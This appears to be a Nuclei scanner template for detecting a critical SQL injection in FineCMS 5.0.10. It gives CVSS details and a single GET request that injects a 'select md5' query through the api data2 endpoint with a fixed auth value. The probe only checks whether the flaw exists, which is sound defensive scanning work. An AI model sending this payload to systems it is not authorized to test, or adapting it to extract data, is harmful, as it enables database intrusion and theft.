id: finecms-sqli

info:
  name: FineCMS 5.0.10 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    FineCMS 5.0.10 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://blog.csdn.net/dfdhxb995397/article/details/101385340
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: finecms,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20md5({{num}})%27'

    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'
# digest: 4b0a00483046022100fce86b012c7a1c495b68e1ea6b0e71c972e06eeb9bc60e8e960b70e0b10ed08a022100f128206c9d7ac72a0b63d2321894fb0fb753a409a998f376300a4b204f283fc4:922c64590222798bb761d5b6d8e72950